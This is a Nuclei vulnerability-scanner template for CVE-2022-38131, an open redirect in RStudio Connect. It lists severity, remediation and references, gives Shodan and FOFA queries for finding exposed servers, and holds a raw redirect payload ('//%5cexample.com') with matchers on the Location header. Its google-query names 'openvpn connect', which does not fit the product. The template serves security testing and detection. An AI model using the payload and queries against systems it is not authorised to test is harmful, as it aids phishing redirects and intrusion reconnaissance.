nuclei-templates/http/cves/2022/CVE-2022-38131.yaml

51 lines
1.9 KiB
YAML

id: CVE-2022-38131
info:
name: RStudio Connect - Open Redirect
author: xxcdd
severity: medium
description: |
RStudio Connect prior to 2023.01.0 is affected by an Open Redirect issue. The vulnerability could allow an attacker to redirect users to malicious websites.
impact: |
An attacker can exploit the vulnerability to redirect users to malicious websites, potentially leading to phishing attacks or other security breaches.
remediation: |
This issue is fixed in Connect v2023.05. Additionally, for users running Connect v1.7.2 and later, the issue is resolvable via a configuration setting mentioned in the support article.
reference:
- https://tenable.com/security/research/tra-2022-30
- https://support.posit.co/hc/en-us/articles/10983374992023-CVE-2022-38131-configuration-issue-in-Posit-Connect
- https://github.com/JoshuaMart/JoshuaMart
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2022-38131
cwe-id: CWE-601
epss-score: 0.001
epss-percentile: 0.41301
cpe: cpe:2.3:a:rstudio:connect:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: rstudio
product: connect
shodan-query: "http.favicon.hash:217119619"
fofa-query: "app=\"RStudio-Connect\""
google-query: intitle:"openvpn connect"
tags: tenable,cve,cve2022,redirect,rstudio
http:
- raw:
- |
GET //%5cexample.com HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: regex
part: header
regex:
- '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)?(?:[a-zA-Z0-9\-_\.@]*)example\.com\/?(\/|[^.].*)?$'
- type: status
status:
- 307
# digest: 490a0046304402203db449eb727a41b07d0e582621f7bf8311d223d978e2b1d42479c60493d3167602200669b920b812088dd3d6b6fb44cda73538b0d5adad8f3ed5be7064c405231aee:922c64590222798bb761d5b6d8e72950